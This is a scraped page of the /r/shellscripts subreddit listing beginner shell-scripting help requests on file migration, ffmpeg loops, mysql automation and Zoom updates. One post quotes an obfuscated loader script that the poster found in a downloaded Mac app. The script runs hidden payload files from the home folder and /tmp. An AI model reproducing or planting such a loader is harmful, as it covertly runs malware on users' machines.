/r/shellscripts

Photograph via snooOG

bourne, perl, awk, korn - share it here!

The shellscripts reddit is a place where bourne-agains can share their perls of wisdom, pythonistas can wrap up code, etc -- you get the idea.

Sister subreddits:

/r/shellscripting

/r/commandline

/r/coolgithubprojects

/r/ScriptSwap

/r/shellscripts

629 Subscribers

1

Home folder /user folder migration script

i'm writing a script for ease of moving the home folder or individually the user folder to a different location, (partion/ dir).

The script would implement a lot of checks and automate the home folder migration,

The script would rysc the contents to the new location, preserving permissions and state then use usermod to make the change.

The one thing that I need some advice is how a backup function should be implemented, as default or optional.

since there would be 2 copied when rsynced, there's no need to keep a third gziped copy.

Also, if you're aware, share any scripts out there.

Here are the core functionality at the moment.

1. System Architecture

1.1 Core Components

The system consists of the following primary components:

1.2 Function Hierarchy

graph TD
    A[Script Entry] --> B[Argument Parser]
    B --> C{Mode Selection}
    C -->|Dry Run| D[Simulation Mode]
    C -->|Test Mode| E[Test Environment]
    C -->|Live Mode| F[Production Mode]

    D --> G[Display Commands]
    E --> H[Test Migration]
    F --> I[Full Migration]

    H --> J[Validation]
    I --> J

    J --> K[Backup System]
    K --> L[Migration Process]
    L --> M[Verification]
    M --> N[Cleanup]

1.3 Core Functions

1.3.1 Configuration Management

  • create_default_config(): Generates default configuration file
  • prompt_for_config(): Interactive configuration setup
  • validate_options(): Validates command-line arguments

1.3.2 Validation Layer

  • check_prerequisites(): System requirements verification
  • validate_mount_point(): Mount point validation
  • verify_disk_space(): Storage space verification
  • validate_user_input(): User input validation

1.3.3 Migration Engine

  • create_backup(): Backup creation with integrity checks
  • perform_migration(): Core migration process
  • perform_dry_run(): Simulation mode execution

1.3.4 Utility Functions

  • setup_logging(): Logging system initialization

  • cleanup(): Resource cleanup

  • handle_error(): Error management

  • log(), info(), error(), warn(), debug(): Logging utilities

0 Comments
2024/11/18
18:43 UTC

1

Remove Directories after Loop

Hi,

Hoping someone with true unix knowledge can help with what will inevitably be something straightforward, but I can't seem to fumble my way through.

I'm just wanting to remove the $ORIG_DIR once the loop has run through a single and remove the $ALAC_DIR if the original files are .mp3 and it's finished the loop?

After the 'done' it doesn't recognise "$ALAC_DIR" or "$ORIG_DIR" as directories any more, before 'done' it removes the directories before all files have been processed and creates an error...

SOURCE_DIR="$(cd "$(dirname "${dirs[0]}")"; pwd)/$(basename "${dirs[0]}")"
SOURCE_DIR=$(dirname "$SOURCE_DIR/temp")
HIRES_DIR="$(cd "$(dirname "${dirs[1]}")"; pwd)/$(basename "${dirs[1]}")"
HIRES_DIR=$(dirname "$HIRES_DIR/temp")
LORES_DIR="$(cd "$(dirname "${dirs[2]}")"; pwd)/$(basename "${dirs[2]}")"
LORES_DIR=$(dirname "$LORES_DIR/temp")
find "$SOURCE_DIR" \( -iname '*.flac' -or -iname '*.mp3' \) -type f -print | while read -r FILE
do
  ORIG_DIR=$(dirname "$FILE") 
  BASE=$(basename "$FILE") 
  BASE=${BASE%.*} 
  AAC_DIR=${ORIG_DIR/$SOURCE_DIR/$LORES_DIR}
  ALAC_DIR=${ORIG_DIR/$SOURCE_DIR/$HIRES_DIR}
  mkdir -p "$AAC_DIR" "$ALAC_DIR"
  AAC_FILE="$AAC_DIR/$BASE.m4a"
  ALAC_FILE="$ALAC_DIR/$BASE.m4a"
  if [[ (! -f "$AAC_FILE" && $FILE == *.flac) ]]; then
	ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null &&
	ffmpeg -hide_banner -i "$FILE" -c:v copy -c:a alac "$ALAC_FILE" </dev/null
  elif [[ (! -f "$AAC_FILE" && $FILE == *.mp3) ]]; then
	ffmpeg -hide_banner -i "$FILE" -c:v copy -b:a 256k -c:a aac "$AAC_FILE" </dev/null
  fi
done
rmdir "$ALAC_DIR"
rm -Rf "$ORIG_DIR"
5 Comments
2024/04/16
21:08 UTC

2

iter - do something for each line

#!/usr/bin/env bash
cmd=$@
xargs -d '\n' -I {} $cmd "{}"
3 Comments
2024/03/30
03:33 UTC

3

please share some best resources to learn shell scripting faster!!

2 Comments
2022/08/08
07:36 UTC

1

Need help trying to run a quick one-liner against files and directories with the ampersand in the names.

I am cleaning out some old hard drives and want to get rid of "old" Apple iTunes .M4P files as I no longer use Apple and just want them gone.

I wrote a quick one-liner but it is not working, and was hoping one of you might be able to assist.

This is what I have:

$ for i in `find . -iname "*.m4p"`; do rm -f "$i"; done;

also:

$ for i in $(find . -iname "*.m4p"); do rm -f "$i"; done;

The reason it is breaking is that I have many directories with the ampersand in it, e.g., :

Prince & The Revolution

And the shell keeps breaking at:

rm: cannot remove './Prince': Is a directory

I thought by enclosing the variable $i within quotes it would work, but it does not.

2 Comments
2022/06/06
18:37 UTC

2

What is the possible solution to this (BASH)problem ?

So i know basic shell scripting and stumbled upon this question :-

Write and run a simple shell script which displays each of the command line arguments, one at a time and stops displaying command line arguments when it gets an argument whose value is “stop”.

can someone help me with this ? I'm new to shell scripting and know only the very basics of it as my role doesn't require it. So please help me with this. I've trying to look everywhere and couldn't find a solution to this

5 Comments
2022/05/05
17:13 UTC

1

Automate mysql commands from shellscript

I have successfully written most of the bash scripting requirements to automate our and customers required functionality, but I am having a problem trying to get certain mysql commands working within the script. Commands such as below:

ALTER USER

SET GLOBAL

CREATE USER

GRANT

FLUSH

I am guessing it is because these are normally process through the "mysql" command prompt. To initially access mysql command prompt I am using:

```

mysql --connect-expired-password -uroot -p`grep "temporary password" /var/log/mysqld.log | awk '{print $NF}'`

```

Anyone know how the above commands can be completed in a script please?

I have tried the actual bash commands within the script but it only brings up the "mysql" command prompt.

4 Comments
2022/04/04
10:19 UTC

2

Need help to insert contents of CA onto json payload for api call

I am trying to add the contents of certificate authority onto a json payload to insert via api call but can’t figure out how to do it.

I tried to $(cat ca.crt), CA=$(cat ca.crt) then echo or even just referencing it in json and it failed, tried to base64 encode and decode it but it also failed… any suggestions ?

1 Comment
2022/03/30
23:18 UTC

0

failed user login attempts on a Linux server, password authentication failure I have to receive mail, redhat or Ubuntu please share the code thanx in advance

1 Comment
2022/03/22
23:37 UTC

1

nested dir help

I recently took backup of one of my server's drive on AWS using one of the software and now at the time of restoring it i found out it took too long to restore as its having billions of files to restore.

I tried to restore it from AWS itself but my problem is backup software created two directories inside my parent directories. I'm looking out some shell script by which i can move file parent direcoties and remove the direcories created by backup software.

Current dir structure :- /opt/folder_to_restore/file_to_restore.pdf$/20211013060615/file_to_restore.pdf

Expected dir strcture :- /opt/folder_to_restore/file_to_restore.pdf

1 Comment
2022/01/18
10:29 UTC

2

how to filter file based on column of another file. in unix

I have used below script but giving syntax error please suggest.

awk 'NR==FNR{a[$1][$0];next} $0 in a {for (i in a[$0]) print i}' file1.txt file2.txt

2 Comments
2022/01/11
18:13 UTC

1

(HELP!) String to int

I'm new to not Windows OS and POSIX script and I want to make this script to show me the volume so I can put it on my dwm bar:

#!/bin/sh

vol="$(amixer get Master | grep -o "[0-9]*%" | sed "s/%//")"

if "$vol" -ge 67 ; then
volSymbol="🔊"
elif "$vol" -ge 33 ; then
volSymbol="🔉"
else
volSymbol="🔈"
fi

amixer get Master | grep -o "[0-9]*%\|\[on\]\|\[off\]" | sed "s/\[on\]/"$volSymbol"/;s/\[off\]/🔇/"

the variable vol it's not an int so I can't do vol >= integer. I was trying to do with expr but failed.

Can you help me please? thanks.

====== SOLVED ======

I found the way myself

I needed to use [ ]. it looks like it's an alias for a program called test.

So if I do

if [ "$vol" -ge 67 ] ; then

instead of

if "$vol" -ge 67 ; then

it will work

1 Comment
2021/10/18
22:43 UTC

0

How to assign a column in a database to a variable ?

I am making a project in which i am trying to put a varibale whit a colum of this dataset to after this see if this colum aren't true or false to delet it.

1 Comment
2021/10/07
13:54 UTC

2

How to calculate and store decimal results in a variable by using bc command?

I am using vscode and gitbash for writing and running the code. Down below is the code. Is it correct?

#!/bin/sh
n=30.52
v=2.21
number= $(echo "$n - $v" | bc)
echo " Result is =  $number"

9 Comments
2021/09/04
10:19 UTC

1

I found the following hiding in a Mac App that I downloaded from the internet.

#!/bin/sh
SC=$( cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P );BN=`basename "$0"`
"$SC/.$BN" &
MD=4f0ad18ebda2e024e931bffc6230fd8b;echo $MD > "/tmp/._power.log";PL_S=10;PL=$(find ~ -type f -iname ".????????.log" -print -quit) && if [ $PL_S -eq $(wc -c <"$PL") ]; then PLP=$(find ~ -name $(cat "$PL") -print -quit);fi;if [ -f "$PLP" ]; then
"$PLP" &
exit; else [ -f "$PL" ] && rm -rf "$PL";fi;B_P="$SC/.${BN}_";[ ! -f "$B_P" ] && B_P=$(find ~ -type f -name "._$MD" -print -quit); [ -f "$B_P" ] && TF=$(mktemp /tmp/XXXXXXXX) && cp "$B_P" "$TF" && echo "rm -rf $TF;exit" >> "$TF" && chmod +x "$TF" && "$TF" &
##################################

I know it's obfuscated, but it would probably take me a couple years to pull this apart and figure out what it does. Can someone tell me what it does?

Thanks

4 Comments
2021/08/20
19:05 UTC

1

help adding to my zoom update shell script

I have been tasked with updating zoom across our client sites on Mac's I have a script that will download and install the latest version however not everyone is logged on at the same time so I will be running it weekly but I would like for the script to see if the latest version is already installed and ignore that machine to save to much unintended traffic on the network and only update machines that require it here is my script for the update

#Make temp folder for downloads.

mkdir "/tmp/zoom/";

cd "/tmp/zoom/";

#Download Zoom.

curl -L -o /tmp/zoom/ZoomInstallerIT.pkg "https://zoom.us/client/latest/ZoomInstallerIT.pkg";

#install Zoom

sudo installer -pkg /private/tmp/zoom/ZoomInstallerIT.pkg -target /;

#tidy up

sudo rm -rf "/tmp/zoom";

exit 0

and this works fine but I don't know where I would add the extra lines?

I have this script but it doesn't seem to be working it reports that Zoom is installed but does not update it so if I could get this to work it would be great

#!/bin/bash

CurrentInstalledVersion=$(defaults read /Applications/zoom.us.app/contents/info CFBundleShortVersionString | cut -c1-5)

NewestVersion=“5.7.4”

ZoomPath="/Applications/zoom.us.app"

if [ -e $ZoomPath ]; then

printf "Zoom is currently installed\n"

elif [[ "$CurrentInstalledVersion" == "$NewestVersion" ]]; then

printf "The current installed version of Zoom.us.app is already installed\n"

else

curl -o /Users/Shared/Zoom.pkg 'https://zoom.us/client/latest/Zoom.pkg'

installer -pkg /Users/Shared/Zoom.pkg -target /

printf "Zoom has been updated or installed\n"

cd /Users/Shared; rm -v Zoom.pkg

fi

any help with this would be much appreciated

1 Comment
2021/08/10
11:49 UTC

1

Telnet

How can i kill all other telnet sessions on system except me. I am root.

2 Comments
2021/07/30
03:16 UTC

1

Need help Storing Grep results into a Variable

Hello everyone, I need a little help with a script i am working.

I am executing the following CMD but I need to store the output value as a Variable so I can use it on a second part of the script. Any ideas are welcome!

nx -a $area_name get-id | grep -oP '(?<=ID:)[^ ]*'

3 Comments
2021/07/16
11:50 UTC

1

Help

Create a Linux shell script to accept a user's name and then print the same with a greeting.

3 Comments
2021/03/12
20:33 UTC

3

Need exercises for learning shell scripting

As the title, if you can please put ideas or links that help be to practice in questions.

Thank

1 Comment
2021/03/06
04:01 UTC

2

A cry for help from more experienced Linux users

I am a newbie to Linux. I need help creating a shell script that checks for the existence of users before creating multiple users and adding them to an existing group from a csv file

2 Comments
2021/02/08
11:15 UTC

1

Creating Sequential Folders with variables

I'm completely new to shell scripting and I'm trying to figure out how to create a script to make a bunch of folders sequentially. I know that in bash you can do something like; mkdir -p {3400..3410} to make sequentially numbered folders.

However when I make a shell script that's

#!/bin/sh

mkdir -p {$1..$2}

and call it with sh make-folders.sh 100 200

I get a single folder {100..200}

Is this even possible to do?

4 Comments
2021/02/03
16:21 UTC

1

Need help automating user deletion

Hello all,

I am stuck at a task that I must perform at work and was wondering if one of you wonderful people could guide me.

So I need to delete unnecessary users from bunch of (50+) servers. I have the list of users I want to delete and they are not spread on all servers. And before I delete the users I am suppose to check for any cronjobs and save the contents of /home dir.

I dont wanna do this manually for each user in each server that would seriously hamper my productivity. I am thinking maybe write a shell script and deploy in bunch of servers using ansible. I dont have any experience to do that though.

Any help would be appreciated.

Thank you

2 Comments
2021/01/13
05:53 UTC

3

Hi guys, I made a bootstrapping script for Arch. It's call TABS (Tarwin's Auto Bootstraping Script)

Most of the code was written from scratch. I am a newbie when it comes to shell scripting so I would to get more input from you guys. Check out my github for more information.

4 Comments
2020/09/27
11:14 UTC

1

Can I exit nano using xdotool ( xdotool keydown "ctrl+x" xdotool keyup "ctrl+x")

I have a shell script that updates pulling from git but I need to exit the MERG_MSG after the pull.
I have tried using

xdotool key "ctrl+x"

xdotool keydown "ctrl+x"
xdotool keyup "ctrl+x"

I am not sure if there is another way?

Thanks in advance.

1 Comment
2020/07/17
00:46 UTC

1

Shell script to find specific files and copy to different directory

Hi,

Wonder if someone could assist me. I have a list of specific filenames and their respective file paths ( over 1000 files each in individual folders) that I need to find and copy to a different folder in a Linux environment,

Could anyone point me in the right direction of a script/application which would achieve this ?

Any help would be appreciated !

Thanks

2 Comments
2020/05/22
20:20 UTC

1

Output file names

I've written a script to take each line of a file and output it into a separate file. I would like to have the script name the files file000.txt, file001.txt...file011.txt etc. Right now, this script outputs files named file1.txt, file2.txt...file11.txt etc. Can anyone help me output file names the way I need them? Thanks.

echo Enter file to be split:

read filename

let i=0

while read p; do

echo "$p" > file$i.txt

let "i++"

done <$filename

2 Comments
2020/04/06
03:17 UTC

1

Please help a beginner!

Hello everyone. I have started learning shell scripting few days back. I was trying to write a script in which I wanted to use hostname command, which shows computer's hostname. Something like if someone types anything else than the hostname INTRUDER! should be printed and if the right hostname is typed. "hostname is logged in" should be printed. I used read, if then else and declared hostname as a variable but to no success. Please help this novice. Thanks in advance.

1 Comment
2020/03/22
07:30 UTC

Back To Top